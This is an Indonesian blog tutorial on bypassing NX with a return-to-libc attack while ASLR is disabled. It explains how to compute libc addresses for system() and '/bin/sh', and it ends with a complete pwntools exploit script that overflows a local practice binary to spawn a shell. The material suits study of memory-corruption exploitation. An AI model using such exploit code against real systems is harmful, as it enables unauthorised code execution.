Не важно, как медленно ты продвигаешься, главное, что ты не останавливаешься.


Friday, 26 October 2018

Bypass NX, Ret2libc, ASLR OFF

Pada artikel sebelumnya, kita membahas bagaimana membypass NX menggunakan metode ROP. Namun, apabila binary yang ada tidak cukup besar untuk menghasilkan ROP gadget yang sesuai, maka metode ini tidak dapat digunakan. Alternatifnya, return address dapat dialihkan ke alamat libc (return to libc).

[binary]


ldd akan memberikan address libc yang ada pada 3_vulnerable, terletak pada 0xf7d38000. Address ini tidak akan berubah jika ASLR dalam keadaan disabled. Perbedaan dapat dilihat jika ASLR dinyalakan.


Alamat 0xf7d38000 akan disebut sebagai base address. Base address ini akan ditambahkan dengan offset dari fungsi yang ada pada libc, yang biasa digunakan dalam pembuatan payload adalah fungsi system(), read(), dll, selain itu kita juga harus mencari offset dari string dari /bin/sh.

Offset dari fungsi-fungsi diatas, tidak akan berubah, tetapi setiap versi dari libc yang dipakai memiliki offset yang berbeda. Tool ini dapat mempermudah untuk pencarian offset pada libc yang dipakai https://github.com/niklasb/libc-database


Maka untuk mendapatkan alamat system() pada saat diload adalah:
libc_system = base_address + offset_system
libc_binsh = base_address + offset_binsh



Payload yang akan dibuat kurang lebih seperti ini:

'A' * 76 | libc_system | dummy (BBBB) | libc_binsh

Di beberapa artikel dummy dapat diganti dengan exit().

from pwn import *

#offset___libc_start_main_ret = 0x199a1
#offset_system = 0x0003d870
#offset_dup2 = 0x000e6f60
#offset_read = 0x000e6470
#offset_write = 0x000e6540
#offset_str_bin_sh = 0x17c968

#libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd9000)

def main():
        base_address = 0xf7dd9000
        offset_system = 0x0003d870
        offset_binsh = 0x17c968

        libc_system = base_address + offset_system
        libc_binsh = base_address + offset_binsh

        payload = 'A' * 76
        payload += p32(libc_system)
        payload += 'BBBB'
        payload += p32(libc_binsh)

        p = process('../Downloads/3_vulnerable')
        p.send(payload)
        p.interactive()

if __name__ == '__main__':
        main()
Kira-kira kode lengkapnya seperti diatas.


5 λ .: Bypass NX, Ret2libc, ASLR OFF Pada artikel sebelumnya, kita membahas bagaimana membypass NX menggunakan metode ROP. Namun, apabila binary yang ada tidak cukup besar untu...

No comments:

Post a comment

< >